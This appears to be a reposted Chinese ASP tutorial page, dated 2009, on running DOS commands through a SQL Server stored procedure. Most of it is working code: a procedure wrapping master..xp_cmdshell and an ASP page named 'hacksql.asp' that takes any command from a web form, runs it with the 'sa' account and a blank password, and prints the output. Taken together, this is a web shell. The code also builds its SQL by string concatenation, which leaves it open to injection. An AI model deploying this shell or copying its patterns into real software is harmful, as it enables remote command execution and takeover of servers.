当前位置: 首页 > 图文教程 > 网络编程 > ASP > 利用sql的存储过程实现dos命令的asp程序

ASP
实例详解ASP中断开记录集的使用方法
代码指导用ASP木马实现FTP和解压缩
防范脚本入侵,你做好准备了吗?
ASP中检查没有数据提交的页面
ASP程序代码执行时间统计类
ASP实现将长的标题用省略号收尾
ASP常用代码剪辑
在ASP中利用“正则表达式” 对象实现UBB风格的论坛
ASP批量生成静态页
ASP生成柱型体,折线图,饼图源代码
马克斯电影站生成Rss Feed的代码
ASP怎么谈到应用到类的?
ASP:判断访问是否来自搜索引擎的函数
ASP代码:rs.open语句详细说明
用asp自动解析网页中的图片地址
ASP:True or False,明明白白你的If语句流程
ASP实现在提交表单到数据库的同时发邮件通知
“Web 匿名用户”帐户密码的位置
ASP分页效果之优化
使用新云cms过程中的问题总结

ASP 中的 利用sql的存储过程实现dos命令的asp程序


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-11-03   浏览: 68 ::
收藏到网摘: n/a

1、首先在sql里面你能够访问的数据库里面建立存储过程,比如说:ddy
如下:
CREATE PROCEDURE ddy
@cmd varchar(50)
AS
exec master..xp_cmdshell @cmd
2、asp程序里如下:(hacksql.asp)
<%
cmd=trim(Request.Form("cmd"))
if cmd<>"" then
work()
else
show()
end if
function work()
set conn=server.CreateObject("adodb.connection")
set rs=server.CreateObject("adodb.recordset")
conn.Open "xx","sa",""
sql="exec ddy '"&cmd&"'"

rs.Open sql,conn
if not rs.EOF then
do while not rs.eof
Response.Write "<pre>"&htmlencode2(trim(rs(0)))&"</pre>"
rs.MoveNext
loop
else
Response.Write "no"
end if
if rs.State=1 then rs.close
set rs=nothing
conn.Close
set conn=nothing
end function
function show()
%>
<form action=hacksql.asp method=post>
请输入DOS命令:<input type=text name=cmd>
<input type=submit value="ok">
</form>
<%
end function
function htmlencode2(str)'--------转换函数(为了显示时比较工整)
dim result
dim l
if isnull(str) then
htmlencode2=""
exit function
end if
l=len(str)
result=""
dim i
for i = 1 to l
select case mid(str,i,1)
case "<"
result=result+"<"
case ">"
result=result+">"
case chr(34)
result=result+"""
case "&"
result=result+"&"
case chr(13)
result=result+"<br>"
case chr(9)
result=result+" "
case "'"
result=result+"’"
case chr(32)
result=result+" "
if i+1<=l and i-1>0 then
if mid(str,i+1,1)=chr(32) or mid(str,i+1,1)=chr(9) or mid(str,i-1,1)=chr(32) or mid(str,i-1,1)=chr(9) then
result=result+" "
else
result=result+" "
end if
else
result=result+" "
end if
case else
result=result+mid(str,i,1)
end select
next
htmlencode2=result
end function
%>